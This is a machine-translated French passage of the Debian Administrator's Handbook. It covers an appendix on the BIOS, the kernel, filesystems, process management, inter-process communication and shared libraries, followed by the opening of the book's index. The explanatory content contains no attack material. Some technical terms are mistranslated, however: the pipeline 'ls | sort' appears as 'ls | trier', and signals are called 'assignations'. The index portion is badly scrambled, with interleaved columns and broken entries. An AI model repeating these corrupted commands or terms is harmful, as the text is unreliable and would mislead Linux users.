principale mais chargé depuis le disque, il peut être plus intelligent que le BIOS, ce qui explique pourquoi le BIOS ne
charge pas le système d'exploitation par lui­même. Par exemple, le chargeur de démarrage (souvent GRUB sur les
systèmes Linux) peut répertorier les systèmes d'exploitation disponibles et demander à l'utilisateur d'en choisir un.
Habituellement, un délai d'attente et un choix par défaut sont proposés. Parfois, l'utilisateur peut également choisir
d'ajouter des paramètres à transmettre au noyau, etc. Finalement, un noyau est trouvé, chargé en mémoire et exécuté.

Le BIOS est également chargé de détecter et d'initialiser un certain nombre de périphériques. Cela inclut évidemment les
périphériques IDE/SATA (généralement des disques durs et des lecteurs de CD/DVD­ROM), mais également les
périphériques PCI. Les périphériques détectés sont souvent répertoriés à l'écran pendant le processus de démarrage. Si
cette liste défile trop vite, utilisez la touche Pause pour la figer le temps de la lire. Les périphériques PCI installés qui
n'apparaissent pas sont de mauvais augure. Au pire, l'appareil est défectueux. Au mieux, il est simplement incompatible
avec la version actuelle du BIOS ou de la carte mère. Les spécifications PCI évoluent et il n'est pas garanti que les
anciennes cartes principales prennent en charge les nouveaux périphériques PCI.

B.3.3. Le noyau

Le BIOS et le chargeur de démarrage ne fonctionnent que pendant quelques secondes chacun ; nous arrivons maintenant
au premier logiciel qui fonctionne plus longtemps, le noyau du système d'exploitation. Ce noyau assume le rôle de chef
d'orchestre dans un orchestre et assure la coordination entre le matériel et les logiciels. Ce rôle implique plusieurs tâches,
notamment : piloter le matériel, gérer les processus, les utilisateurs et les autorisations, le système de fichiers, etc. Le
noyau fournit une base commune à tous les autres programmes du système.

B.3.4. L'espace utilisateur

Bien que tout ce qui se passe en dehors du noyau puisse être regroupé sous « espace utilisateur », nous pouvons
toujours le séparer en couches logicielles. Cependant, leurs interactions sont plus complexes qu’auparavant et les
classifications ne sont peut­être pas aussi simples. Une application utilise généralement des bibliothèques, qui à leur tour
impliquent le noyau, mais les communications peuvent également impliquer d'autres programmes, voire plusieurs
bibliothèques s'appelant entre elles.

Cours de rattrapage court 443

Machine Translated by Google

B.4. Quelques tâches gérées par le noyau

B.4.1. Piloter le matériel

Le noyau est avant tout chargé de contrôler les éléments matériels, de les détecter, de les allumer lorsque
l'ordinateur est allumé, etc. Il les rend également disponibles pour les logiciels de niveau supérieur avec une
interface de programmation simplifiée, afin que les applications puissent tirer parti des appareils sans avoir à
se soucier de détails tels que l'emplacement d'extension sur lequel la carte optionnelle est branchée. L'interface
de programmation fournit également une couche d'abstraction ; cela permet par exemple à un logiciel de
visioconférence d'utiliser une webcam indépendamment de sa marque et de son modèle. Le logiciel peut
simplement utiliser l' interface Video for Linux (V4L), et le noyau traduit les appels de fonction de cette interface
en commandes matérielles réelles nécessaires à la webcam spécifique utilisée.

Le noyau exporte de nombreux détails sur le matériel détecté via les systèmes de fichiers virtuels /proc/ et /
sys/ . Plusieurs outils résument ces détails. Parmi eux, lspci (dans le package pciutils ) répertorie les
périphériques PCI, lsusb (dans le package usbutils ) répertorie les périphériques USB et lspcmcia (dans le
package pcmci­utils ) répertorie les cartes PCMCIA. Ces outils sont très utiles pour identifier le modèle exact
d’un appareil. Cette identification permet également des recherches plus précises sur le Web, qui conduisent
à leur tour à des documents plus pertinents.

$ lspci [...]

00:02.1 Contrôleur d'affichage : Intel Corporation Mobile 915GM/GMS/910GML Express Contrôleur graphique
(rév. 03) 00:1c.0 Pont PCI : Intel Corporation
82801FB/FBM/FR/FW/FRW (famille ICH6) PCI
Port Express 1 (rév 03)
00:1d.0 Contrôleur USB : Intel Corporation 82801FB/FBM/FR/FW/FRW (famille ICH6)
USB UHCI #1 (rév. 03) [...]

01:00.0 Contrôleur Ethernet : Broadcom Corporation NetXtreme BCM5751 Gigabit

Ethernet PCI Express (rév 01)
02:03.0 Contrôleur réseau : réseau Intel Corporation PRO/Wireless 2200BG
Connexion (rév. 05) $ lsusb
Bus 005
Périphérique 004 : ID 413c:a005 Dell Computer Corp.
Bus 005 Périphérique 008 : ID 413c:9001 Dell Computer Corp.
Bus 005 Périphérique 007 : ID 045e:00dd Microsoft Corp.
Bus 005 Périphérique 006 : ID 046d:c03d Logitech, Inc. [...]

Bus 002 Périphérique 004 : ID 413c:8103 Dell Computer Corp. Wireless 350 Bluetooth

Exemple B.1 Exemple d'informations fournies par lspci et lsusb

444 Le manuel de l'administrateur Debian

Machine Translated by Google

Ces programmes ont une option ­v , qui répertorie des informations beaucoup plus détaillées (mais généralement pas nécessaires). Enfin, la

commande lsdev (dans le package procinfo ) répertorie les ressources de communication utilisées par les appareils.

Les applications accèdent souvent aux appareils via des fichiers spéciaux créés dans /dev/ (voir l'encadré « Autorisations d'accès aux

appareils » (page 158)). Ce sont des fichiers spéciaux qui représentent les lecteurs de disque (par exemple, /dev/hda et /dev/sdc), les

partitions (/dev/hda1 ou /dev/sdc3), les souris (/dev/input/ mouse0), les claviers ( /dev/input/event0), cartes son (/dev/snd/*), ports série (/dev/

ttyS*), etc.

B.4.2. Systèmes de fichiers

Les systèmes de fichiers sont l'un des aspects les plus importants du noyau. Les systèmes Unix fusionnent tous les stockages de fichiers en

une seule hiérarchie, ce qui permet aux utilisateurs (et aux applications) d'accéder aux données simplement en connaissant leur emplacement

dans cette hiérarchie.

Le point de départ de cet arbre hiérarchique est appelé la racine, /. Ce répertoire peut contenir des sous­répertoires nommés. Par exemple, le

sous­répertoire personnel de / s'appelle /home/. Ce sous­répertoire peut, à son tour, contenir d’autres sous­répertoires, et ainsi de suite.

Chaque répertoire peut également contenir des fichiers dans lesquels les données réelles seront stockées. Ainsi, le nom /home/rmas/Desktop/
[Link] fait référence à un fichier nommé [Link] stocké dans le sous­répertoire Desktop du sous­répertoire rmas du répertoire personnel

présent à la racine. Le noyau fait la traduction entre ce système de dénomination et le stockage physique réel sur un disque.

Contrairement à d'autres systèmes, il n'existe qu'une seule hiérarchie de ce type et elle peut intégrer les données de plusieurs disques. L'un
de ces disques est utilisé comme racine, et les autres sont « montés » sur des répertoires de la hiérarchie (la commande Unix est appelée

mount) ; ces autres disques sont alors disponibles sous ces « points de montage ». Cela permet de stocker les répertoires personnels des

utilisateurs (traditionnellement stockés dans /home/) sur un deuxième disque dur, qui contiendra les répertoires rhertzog et rmas . Une fois le

disque monté sur /home/, ces répertoires deviennent accessibles à leurs emplacements habituels et les chemins tels que /home/rmas/Desktop/
[Link] continuent de fonctionner.

Il existe de nombreux systèmes de fichiers, correspondant à de nombreuses manières de stocker physiquement des données sur des disques.

Les plus connus sont ext2, ext3 et ext4, mais d'autres existent. Par exemple, vfat est le système historiquement utilisé par les systèmes

d'exploitation DOS et Windows, qui permet d'utiliser les disques durs aussi bien sous Debian que sous Windows. Dans tous les cas, un

système de fichiers doit être préparé sur un disque avant de pouvoir être monté et cette opération est appelée « formatage ». Des commandes

telles que mkfs. ext3 (où mkfs signifie MaKe FileSystem) gère le formatage. Ces commandes nécessitent, en paramètre, un fichier périphérique

représentant la partition à formater (par exemple, /dev/sda1).

Cette opération est destructrice et ne doit être exécutée qu'une seule fois, sauf si l'on souhaite délibérément effacer un système de fichiers et

recommencer.

Il existe même des systèmes de fichiers réseau, tels que NFS, dans lesquels les données ne sont pas stockées sur un disque local. Au lieu

de cela, les données sont transmises via le réseau à un serveur qui les stocke et les récupère à la demande. L'abstraction du système de

fichiers évite aux utilisateurs d'avoir à s'en soucier : les fichiers restent accessibles de leur manière hiérarchique habituelle.

Cours de rattrapage court 445

Machine Translated by Google

B.4.3. Fonctions partagées

Étant donné qu'un certain nombre de fonctions identiques sont utilisées par tous les logiciels, il est logique de les centraliser
dans le noyau. Par exemple, la gestion du système de fichiers partagé permet à n'importe quelle application d'ouvrir
simplement un fichier par son nom, sans avoir à se soucier de l'endroit où le fichier est physiquement stocké. Le fichier peut
être stocké dans plusieurs tranches différentes sur un disque dur, ou réparti sur plusieurs disques durs, ou même stocké
sur un serveur de fichiers distant. Les fonctions de communication partagées sont utilisées par les applications pour
échanger des données indépendamment de la manière dont les données sont transportées. Par exemple, le transport peut
s'effectuer via n'importe quelle combinaison de réseaux locaux ou sans fil, ou via une ligne téléphonique fixe.

B.4.4. Gestion des processus

Un processus est une instance en cours d’exécution d’un programme. Cela nécessite de la mémoire pour stocker à la fois
le programme lui­même et ses données d'exploitation. Le noyau est chargé de leur création et de leur suivi. Lorsqu'un
programme s'exécute, le noyau réserve d'abord de la mémoire, puis y charge le code exécutable du système de fichiers,
puis démarre l'exécution du code. Il conserve des informations sur ce processus, dont la plus visible est un numéro
d'identification appelé pid (identifiant de processus).

Les noyaux de type Unix (y compris Linux) et comme la plupart des autres systèmes d'exploitation modernes, sont capables
d'effectuer plusieurs tâches. En d’autres termes, ils permettent d’exécuter plusieurs processus « en même temps ». Il n'y a
en fait qu'un seul processus en cours d'exécution à la fois, mais le noyau coupe le temps en petites tranches et exécute
chaque processus tour à tour. Étant donné que ces tranches de temps sont très courtes (de l’ordre de la milliseconde), elles
créent l’illusion de processus exécutés en parallèle, alors qu’en réalité ils ne sont actifs que pendant certains intervalles de
temps et restent inactifs le reste du temps. Le travail du noyau consiste à ajuster ses mécanismes de planification pour
conserver cette illusion, tout en maximisant les performances globales du système. Si les tranches de temps sont trop
longues, l'application risque de manquer de vivacité et d'interactivité avec l'utilisateur. Trop court et le système perd du
temps en changeant de tâche trop fréquemment. Ces décisions peuvent être modifiées en fonction des priorités des
processus. Les processus hautement prioritaires s'exécuteront pendant des tranches de temps plus longues et plus
fréquentes que les processus faiblement prioritaires.

NOTE La restriction décrite ici n’est qu’un cas secondaire. La restriction réelle est qu'il ne peut y
Systèmes multiprocesseurs avoir qu'un seul processus en cours d'exécution par cœur de processeur à la fois. Les
(et variantes) systèmes multiprocesseurs, multicœurs ou « hyper­threadés » permettent à plusieurs
processus de s'exécuter en parallèle. Le même système de découpage temporel est toujours
utilisé, afin de gérer les cas où il y a plus de processus actifs que de cœurs de processeur
disponibles. C'est le cas habituel : un système de base, même pour l'essentiel inactif, a
presque toujours des dizaines de processus en cours d'exécution.

Bien entendu, le noyau permet d'exécuter plusieurs instances indépendantes du même programme. Mais chacun ne peut
accéder qu’à ses propres tranches horaires et mémoire. Leurs données restent ainsi indépendantes.

446 Le manuel de l'administrateur Debian

Machine Translated by Google

B.4.5. Gestion des droits

Les systèmes de type Unix sont également multi­utilisateurs. Ils fournissent un système de gestion des droits qui autorise des groupes et des

utilisateurs séparés, et permet de choisir d'autoriser ou de bloquer des actions en fonction des autorisations.

Le noyau gère, pour chaque processus, des données permettant la vérification des autorisations. La plupart du temps, cela signifie que

« l'identité » du processus est la même que celle de l'utilisateur qui l'a lancé. Et le processus est uniquement capable d’effectuer les actions

autorisées par l’utilisateur. Par exemple, essayer d'ouvrir un fichier nécessite que le noyau vérifie l'identité du processus par rapport aux

autorisations d'accès (pour plus de détails sur cet exemple particulier, voir Section 9.3, « Gestion des droits » (page 195)).

B.5. L'espace utilisateur

« L'espace utilisateur » fait référence à l'environnement d'exécution des processus normaux (par opposition au noyau).

Cela ne signifie pas nécessairement que ces processus sont réellement lancés par les utilisateurs, car un système standard exécute

régulièrement plusieurs processus « démons » avant même que l'utilisateur n'ouvre une session.
Les processus démons sont des processus de l'espace utilisateur.

B.5.1. Processus

Lorsque le noyau dépasse sa phase d'initialisation, il démarre le tout premier processus, init. Le processus n°1 seul est très rarement utile en

soi, et les systèmes de type Unix fonctionnent avec tout un cycle de vie de processus.

Tout d’abord, un processus peut se cloner (c’est ce qu’on appelle un fork). Le noyau alloue un nouvel espace mémoire de processus, mais

identique, et un autre processus pour l'utiliser. À l’heure actuelle, la seule différence entre ces deux processus est leur pid. Le nouveau

processus est habituellement appelé processus enfant, et le processus dont le pid ne change pas est appelé processus parent.

Parfois, le processus enfant continue de mener sa propre vie indépendamment de son parent, ses propres données étant copiées à partir du

processus parent. Dans de nombreux cas, cependant, ce processus enfant exécute un autre programme. A quelques exceptions près, sa

mémoire est simplement remplacée par celle du nouveau programme, et l'exécution de ce nouveau programme commence. L'une des toutes

premières actions du processus numéro 1 est donc de se dupliquer (ce qui signifie qu'il y a, pendant un laps de temps infime, deux copies en

cours d'exécution du même processus d'initialisation ), mais le processus enfant est alors remplacé par la première initialisation du système.

script, généralement /etc/init.d/rcS. Ce script, à son tour, se clone et exécute plusieurs autres programmes. À un moment donné, un processus

parmi les descendants d'init démarre une interface graphique à laquelle les utilisateurs peuvent se connecter (la séquence réelle des

événements est décrite plus en détail dans la Section 9.1, « Démarrage du système » (page 184)).

Lorsqu'un processus termine la tâche pour laquelle il a été démarré, il se termine. Le noyau récupère alors la mémoire affectée à ce

processus, et cesse de lui donner des tranches de temps d'exécution. Le processus parent est informé de la fin de son processus enfant, ce

qui permet à un processus d'attendre la fin d'une tâche qu'il a déléguée à un processus enfant. Ce comportement est clairement visible dans

les interpréteurs de ligne de commande (appelés shells). Lorsqu'une commande est saisie dans un shell, l'invite

Cours de rattrapage court 447

Machine Translated by Google

ne revient que lorsque l'exécution de la commande est terminée. La plupart des shells permettent d'exécuter la
commande en arrière­plan, il suffit d'ajouter un & à la fin de la commande.
L'invite s'affiche à nouveau immédiatement, ce qui peut entraîner des problèmes si la commande doit afficher ses
propres données.

B.5.2. Démons

Un « démon » est un processus démarré automatiquement par la séquence de démarrage. Il continue de fonctionner
(en arrière­plan) pour effectuer des tâches de maintenance ou fournir des services à d'autres processus. Cette
« tâche de fond » est en réalité arbitraire et ne correspond à rien de particulier du point de vue du système. Ce sont
simplement des processus, assez semblables à d’autres processus, qui s’exécutent à leur tour lorsque vient leur
tranche horaire. La distinction n’est que dans le langage humain : un processus qui s’exécute sans interaction avec
un utilisateur (notamment sans interface graphique) est dit s’exécutant « en arrière­plan » ou « en tant que démon ».

VOCABULAIRE Bien que le terme démon partage son étymologie grecque avec démon, le premier
Démon, démon, un n’implique pas un mal diabolique, il doit plutôt être compris comme une sorte
terme péjoratif ? d’esprit assistant. Cette distinction est assez subtile en anglais, mais elle est
encore pire dans d'autres langues où le même mot est utilisé dans les deux sens.

Plusieurs de ces démons sont décrits en détail dans le Chapitre 9, Services Unix (page 184).

B.5.3. Communications inter­processus

Un processus isolé, qu'il s'agisse d'un démon ou d'une application interactive, est rarement utile à lui seul, c'est
pourquoi il existe plusieurs méthodes permettant à des processus distincts de communiquer entre eux, soit pour
échanger des données, soit pour se contrôler. Le terme générique faisant référence à cela est la communication inter­
processus, ou IPC en abrégé.

Le système IPC le plus simple consiste à utiliser des fichiers. Le processus qui souhaite envoyer des données les
écrit dans un fichier (avec un nom connu à l'avance), tandis que le destinataire n'a qu'à ouvrir le fichier et lire son contenu.
Contenu.

Dans le cas où l'on ne souhaite pas stocker de données sur disque, on peut utiliser un tuyau, qui est simplement un
objet à deux extrémités ; les octets écrits à une extrémité sont lisibles à l’autre. Si les extrémités sont contrôlées par
des processus séparés, cela conduit à un canal de communication inter­processus simple et pratique. Les canaux
peuvent être classés en deux catégories : les canaux nommés et les canaux anonymes.
Un canal nommé est représenté par une entrée sur le système de fichiers (bien que les données transmises n'y soient
pas stockées), les deux processus peuvent donc l'ouvrir indépendamment si l'emplacement du canal nommé est
connu au préalable. Dans les cas où les processus communicants sont liés (par exemple, un processus parent et son
processus enfant), le processus parent peut également créer un canal anonyme avant le bifurcation, et l'enfant en
hérite. Les deux processus pourront alors échanger des données via le canal sans avoir besoin du système de fichiers.

448 Le manuel de l'administrateur Debian

Machine Translated by Google

EN PRATIQUE Décrivons en détail ce qui se passe lorsqu'une commande complexe (un pipeline) est
Un exemple concret exécutée à partir d'un shell. Nous supposons que nous avons un processus bash (le shell
utilisateur standard sur Debian), avec le pid 4374 ; dans ce shell, nous tapons la
commande : ls | trier .

Le shell interprète d'abord la commande saisie. Dans notre cas, il comprend qu'il existe
deux programmes (ls et sort), avec un flux de données circulant de l'un à l'autre (indiqué
par le caractère | , appelé tube). bash crée d'abord un canal sans nom (qui n'existe
initialement que dans le processus bash lui­même).

Ensuite, le shell se clone ; cela conduit à un nouveau processus bash , avec le pid #4521
(les pids sont des nombres abstraits et n'ont généralement aucune signification
particulière). Le processus #4521 hérite du tube, ce qui signifie qu'il est capable d'écrire
dans son côté « entrée » ; bash redirige son flux de sortie standard vers l'entrée de ce
canal. Ensuite, il exécute (et se remplace par) le programme ls , qui répertorie le contenu
du répertoire courant. Puisque ls écrit sur sa sortie standard et que cette sortie a été
préalablement redirigée, les résultats sont effectivement envoyés dans le tube.

Une opération similaire se produit pour la deuxième commande : bash se clone à nouveau,
conduisant à un nouveau processus bash avec le pid #4522. Puisqu'il s'agit également
d'un processus enfant de #4374, il hérite également du tube ; bash connecte ensuite son
entrée standard à la sortie du tube, puis exécute (et se remplace par) la commande sort ,
qui trie son entrée et affiche les résultats.

Toutes les pièces du puzzle sont maintenant mises en place : ls écrit la liste des fichiers
du répertoire courant dans le tube ; sort lit cette liste, la trie par ordre alphabétique et
affiche les résultats. Les processus numéros #4521 et #4522 se terminent alors, et #4374
(qui les attendait pendant l'opération), reprend le contrôle et affiche l'invite pour permettre
à l'utilisateur de saisir une nouvelle commande.

Cependant, toutes les communications inter­processus ne sont pas utilisées pour déplacer des données. Dans de
nombreuses situations, les seules informations à transmettre sont des messages de contrôle tels que « suspendre
l'exécution » ou « reprendre l'exécution ». Unix (et Linux) fournit un mécanisme appelé assignations, grâce auquel un
processus peut simplement envoyer un signal (choisi dans une liste fixe de quelques dizaines de signaux prédéfinis) à un
autre processus. La seule exigence est de connaître le pid de la cible.

Pour les communications plus complexes, il existe également des mécanismes permettant à un processus d'ouvrir l'accès,
ou de partager, une partie de sa mémoire allouée à d'autres processus. La mémoire ensuite partagée entre eux permet de
déplacer les données entre elles.

Enfin, les connexions réseau peuvent également aider les processus à communiquer ; ces processus peuvent même
s’exécuter sur différents ordinateurs, éventuellement distants de plusieurs milliers de kilomètres.

Il est tout à fait courant qu'un système typique de type Unix utilise tous ces mécanismes à des degrés divers.

B.5.4. Bibliothèques

Les bibliothèques de fonctions jouent un rôle crucial dans un système d'exploitation de type Unix. Il ne s'agit pas de
programmes à proprement parler, puisqu'ils ne peuvent pas être exécutés seuls, mais de collections de fragments de code
pouvant être utilisés par des programmes standards. Parmi les bibliothèques courantes, les plus remarquables comprennent :

Cours de rattrapage court 449

Machine Translated by Google

• la bibliothèque standard C (glibc), qui contient des fonctions de base comme l'ouverture de fichiers ou
connexions réseau et autres facilitant les interactions avec le noyau ;

• des boîtes à outils graphiques, Gtk+ et Qt, permettant à de nombreux programmes de réutiliser les objets graphiques
ils fournissent;

• la bibliothèque libpng , qui permet de charger, interpréter et sauvegarder des images au format PNG.

Grâce à ces bibliothèques, les applications peuvent réutiliser le code existant. Leur développement s'en trouve ainsi
simplifié d'autant, notamment lorsque de nombreuses applications réutilisent les mêmes fonctions. Puisque les bibliothèques
sont souvent développées par différentes personnes, le développement global du système est plus proche de la philosophie
historique d'Unix.

CULTURE L'un des concepts fondamentaux qui sous­tendent la famille de systèmes d'exploitation
Unix est que chaque outil ne doit faire qu'une seule chose, et bien la faire ; les applications
La méthode Unix : une chose
à la fois peuvent ensuite réutiliser ces outils pour créer une logique plus avancée. Cette Voie peut
être vue dans de nombreuses incarnations. Les scripts Shell en sont peut­être le meilleur
exemple : ils assemblent des séquences complexes d'outils très simples (tels que grep,
wc, sort, uniq , etc.). Une autre implémentation de cette philosophie peut être vue dans
les bibliothèques de code : la bibliothèque libpng permet de lire et d'écrire des images
PNG, avec différentes options et de différentes manières, mais elle ne fait que cela ; pas
question d'inclure des fonctions d'affichage ou d'édition d'images.

De plus, ces bibliothèques sont souvent appelées « bibliothèques partagées », puisque le noyau n'est capable de les
charger en mémoire qu'une seule fois, même si plusieurs processus utilisent la même bibliothèque en même temps. Cela
permet d'économiser de la mémoire, par rapport à la situation inverse (hypothétique) où le code d'une bibliothèque serait
chargé autant de fois qu'il y a de processus qui l'utilisent.

450 Le manuel de l'administrateur Debian

Machine Translated by Google

Indice

_ 10BASE­T, 147
.d, 10GBASE­T, 147

110 .desktop, 32/64 bits, choix, 53

357 .htaccess, 272 / 64Studio, 18 6os,

boot/grub/[Link], 166 /etc/apt/ 238

[Link].d/, 110 /etc/apt/preferences,

UN
111 /etc/apt/sources. liste, 102 /etc/
bind/[Link], 241 /etc/default/ A, enregistrement DNS, 240

nfs­common, 277 /etc/default/nfs­kernel­ AAAA, enregistrement DNS,

server, 277 /etc/default/ntpdate, 169 /etc/ compte 240

exports, 278 / etc/fstab, 171 /etc/group, 157 /etc/ compte administrateur, 58, 170 création,

hosts, 152, 153 /etc/init.d/rcS, 184 / 157 désactivation,

etc/init.d/rcS.d/, 184 /etc/ 156

menu­methods/, 357 / ACPI, 218

etc/pam.d/common­ acpid, 218

account, 292 /etc/pam.d/ activité, historique, 384
common­auth, 292 /etc/ activité, surveillance, 383 ajouter
pam.d/common­password, 292 / un utilisateur à un groupe, 158
etc/passwd, 154 /etc/samba/ ajouter un

smbpasswd, 281 /etc/shadow, 155 /etc/sudoers, utilisateur, 157 administration, interfaces, 198

170 /etc/timezone, 168 /proc/, 152 /sys/, 152 / ADSL, modem, 150

usr/share/doc/, 11 /usr/share/menu/, 357 /usr/ share/ Configuration avancée et interface d'alimentation,

zoneinfo/, 168 /var/lib/ 218

dpkg/, 84 ~, 159 1000BASE­T, 147 Outil de package avancé, 102

100BASE­T, 147 Gestion avancée de l'alimentation, 218
Après­étape, 356
Agnule, 18 ans
AH, protocole, 231 aide
(paquet Debian), 386
Akkerman, Wichert, 12 alias, 255
domaine
virtuel, 255 extraterrestre,
98 alioth, 18

Autoriser depuis, directive Apache, 273

AllowOverride, directive Apache, 271, 272
Machine Translated by Google

alternative, 356 aptitude mise à niveau complète,

am­utils, 173 110 installation d'aptitude,
amanda, 210 107 purge d'aptitude, 107
amd, 173 suppression d'aptitude, 107
amd64, 45 mise à niveau sécurisée d'aptitude,
anacron, 208 109 recherche d'aptitude,

analog, 138 114 aptitude show, 114

Anjuta, 365 mise à jour d'aptitude, 107

antivirus, 265 aptitude pourquoi, 116

apache, 268 Aptosid, 435

directives Apache, 271 , 273 ar, 76
apache2­mpm­itk, 268 architecture, 3 , 44
APM, 218 licence artistique, 7

apmd, 218 ASCII, 145

à propos , 132 attribution de noms, 152

APT, 76 , 102 association, 2 , 4
assurance
configuration, 110
assurance qualité, 19
affichage d'en­tête,
à, 207
114 configuration initiale,
ATA, 442
67 interfaces,
et 204
115 recherche de
ATI, 355
paquet, 114
atq, 207
épinglage, 111
atrm, 207
préférences,
auteurs, en amont, 6
111 apt­cache, 114 apt­cache
auto­monteur, 173
dumpavail, 114 apt­
autobuilder, 23
cache politique, 114 apt­
autofs, 173
cache recherche , 114
complétion automatique, 159
apt­cache show,
automount, 173
114 apt­cdrom, 104
Navigateur médico­légal d'autopsie,
apt­ftparchive,
407 awk, 356
421 apt­get, 106 apt­get dist­
AWStats, 273
upgrade, 110 apt­get awtats, 138
install, 107 apt­get
azerty, 145
purge, 107 apt­get
Remove, 107 apt ­get B
update, 107 apt­get backdoor, 406
update, 109 apt­ backport, 105 , 412
[Link], 105 [Link], 105
apt­key, 120 sauvegarde,
apt­spy, 104 210 copie,
[Link].d/, , 106 , 115 211 sur CD­ROM,
110 aptitude, 71 aptitude dist­upgrade, 110 212 sur bande, 213

452 Le manuel de l'administrateur Debian

Machine Translated by Google

SauvegardePC, Build­Depends, champ d'en­tête, 90

210 bash, 158 build­simple­cdd, 342 buildd,
Système d'entrée/sortie de base, 50 24
BGP, 238 Buzz, 9

bgpd, 238 bzip2, 102

code binaire, 3 bzr, 20
bind9, 241
C
BIOS, 50 , 442
c++, 356
Blackbox, bloc
cache, proxy, 68 cc,
356 (disque), bloc
356
209 , mode, 158
sauvegarde
Bo, 9 ans
sur CD­ROM sur CD­ROM, 212
Bochs, 320
bootable, 434 CD­
rapports
ROM de carte de visite, 51 CD­
de bogues bogues,
ROM d'installation, 51 CD­ROM
15
netinst, 51 fournisseur de
chargeur de
CD­ROM, 51 certificat X
démarrage, 53 CD­ROM
.509, 225
amorçable,
chage, 156
434 démarrage du système, 184
chaîne, 376
chargeur de , 69 , 160
démarrage, 53 pauses, champ
[Link], 135 jeu de
d'en­tête, 81
caractères, 144
ponts, 148
caractère, mode, 158
diffusions, 148 dépendances
checksecurity, 386 chfn,
brisées, 93 navigateurs,
156 chgrp,
Web, 364 Bruce
197 chmod,
Perens,
197 choix, 356
9 BSD, 34 de pays, 55
licences
de langue, 54
BSD, 7 BTS, 14 chown , 197 chsh,
bubblefishymon, 384 156 CIFS, 279
clamav, 265
bubblemon, 384 tampon de clamav­
milter, 265
réception, 378 bugs client Jabber, 367 NFS,
rapport de bogue, 279
15 signaler un architecture
bogue, 15 gravité, client/
14 rapport de bogue, 139 serveur, 189 synchronisation d'horloge,
Système de suivi des 169
bogues, 14 CNAME, enregistrement
[Link], 14 démon de construction, 24 Build­Depends, DNS,
champ240
de contrôle, 413

Indice 453
Machine Translated by Google

nom de code, 9 contrat, social, 5

CodeWeavers, 369 contrib, section, 103
Travail collaboratif, 366. contrôle, 78
Collins, Ben, 12 somme de contrôle,
interface de ligne de commande, 158 385 contrôle, de trafic, 236

interpréteur de ligne de commande, 132 [Link], 84

planification des commandes, 204 copie, copie de sauvegarde,
commande, interprète, 158 211 copyleft,
Common Unix Printing System, 160 compte 9 copyright, 136
commun, 292 authentification copyrights, 9
commune, 292 mot de CPAN, 83
création
passe commun, 292
comparaison des versions, 97 d'un groupe, 157
de comptes utilisateurs,
compilation, 3 d'un
noyau, 173 157 cron,
204 crontab, 205
compilateur, 3
CrossOver, câble
Composer, clé, 146
croisé 369 , 151 crypte,
Système de versions simultanées, 20
fichiers de 154 csh, 158

configuration, 87
TASSES,
fichiers
160 tasses,
de confidentialité, 66 config,
160 administration, 160
script debconf, 86
CVS, 20
fichiers
de configuration, 87 configuration initiale
d'APT, 67 réseau
Démon D , 138 , 448
DHCP, 57
DAM, 14
statique,
dansgardien, 287
57 du noyau, 175 du DATA, 261
réseau, 148 impression, base de
160 configuration données du développeur de
du programme, 137 gestion de la base de données,
configuration, 20 conflits, 81 10 des groupes,
154 des utilisateurs, 154 heure d'été, 168
Conflits, champ d'en­tête, DCF­77, 170
connexion 81 canaux, 423
par modem ADSL, 150 par DDPO, 19
modem RTC, 149 à la debc, 423
demande, 150 debconf, 86 , 199 , 338
console­données, 145 debhelper, 424
console­outils, 145 debi, 423
constitution, 12 Gestionnaires de comptes Debian, 14
contexte, contexte sécurité, 390 Présentation des paquets du développeur Debian, 19

454 Le manuel de l'administrateur Debian

Machine Translated by Google

Référence du développeur Debian, 423 divish, 211

Debian France, 4 Désactiver un compte, 156
Directives du logiciel libre Debian, 7 gestionnaire d'affichage,
Responsable Debian, 425 195 distribution

Politique Debian, 11 distribution commerciale, XVII

Chef de projet Debian, 12 debian­ distribution Linux commerciale, 35
admin, 19 debian­cd, distribution Linux communautaire, 35
3, 340 Debian­Edu, Distribution Linux, XVII
17 debian­installer, Distrowatch, 436
4 , 50 debian­multimedia, dkms, 178
18 debian­user, 139 dm­crypte, 66
[Link], 106 ADNT, 223
debsums, 385 DNS, 153, 240
Debtags, 129 mises à jour automatiques,
debuild, 423 245 zones, 240
suppression Enregistrement DNS, 241

d'un groupe, 157 DeMuDi, 18 DNSSEC, 241

déni de doc­linux­fr­html, 136 doc­
service, 387 Refuser de, linux­html, 136
directive Apache, 273 dépendance, 79 documentation, 132, 135
Dépend, champ emplacement,
d'en­tête, 79 déploiement, 336 11 domaine

distribution dérivée, nom, 152

17 bureau, bureau graphique virtuel, 255
distant, 194 Destination NAT, 223 détection, contrôleur de domaine, 280
intrusion, 387 développeurs Service de noms de domaine, 153
Développeurs Debian, 10 base dpkg, 76, 92
de données dpkg, fonctionnement interne, 86
de développeur, 10 dpkg­reconfigure, 199 dpkg­
autorisations d'accès aux source, 91
DPL, 12
appareils, 158 appareils multidisques, sorties, 424
65 devscripts , 423 DFSG, Fichier DSC,
7 dh­make, 424 88 dselect,
DHCP, 72 fournisseur DSL, 150
149, 244 diald, DST, 168
150 diff, 15 fichier double démarrage,
[Link], 88 53, 69 dump,
213 dupload, 424
directives, DVD ROM

Apache, 271, 273 répertoire, LDAP, DVD­ROM de cartes de visite, 51

287 DirectoryIndex, DVD­ROM d'installation, 51 DVD­
directive Apache, 271 ROM netinst, 51

Indice 455
Machine Translated by Google

Protocole de configuration d'hôte dynamique, 244 confidentialité, 66

journaux, rotation, 170
E serveur, 276
easy­rsa, 225 spécial, 158
edquota, 209 système, 62
eGroupware, 366
EHLO, 259 fichiers de configuration, 87 fichiers
Ekiga, 367 journaux, 200
filtrage
journaux,
email, 254 138 système de
filtrage sur contenu, 262 filtrage fichiers, 445
sur destinataire, 260 filtrage sur réseau, 276 hiérarchie du système
expéditeur, 260 logiciel, 361 de fichiers, 440 filtrage
des e­mails, 254 règles de
Empathie, 367 filtrage, 376, 379
Émulation de Windows, encodage empreintes digitales , 385
369 , 144 Firefox, Mozilla,
Application, Application des types, 400 364, 365
En­tête EnhancesField, 80 pare­feu, 376
environnement, 145 IPv6, 240
environnement hétérogène, 40 variable, Firewire, 442 flamewar, 13 FollowSymlinks,
159 variable directive Apache,
d'environnement, 159 271 fork, 190, 447 Foundation
Épiphanie, 364
ESP, protocole, 231 Documents, 5
Etch, 9 logiciels libres, 7 principes du
eth0, 148 logiciel libre, 7
éthéré, 249 Freebox, 151
Ethernet, 147, 149 FreeBSD, 34
Evolution, 361 [Link],
évolution­échange, 362 358 Freenet6,
exemples, localisation, 137 239 freeze, 26 Localisation
Excel, Microsoft, 369 française, 144
ExecCGI, directive Apache, 271 Freshmeat,
exécution 136 fstab, 171 FTP (File Transfer Protocol),
à droite, 196 275 ftpmaster, 18
Exim, 252 Programme d'installation entièrement
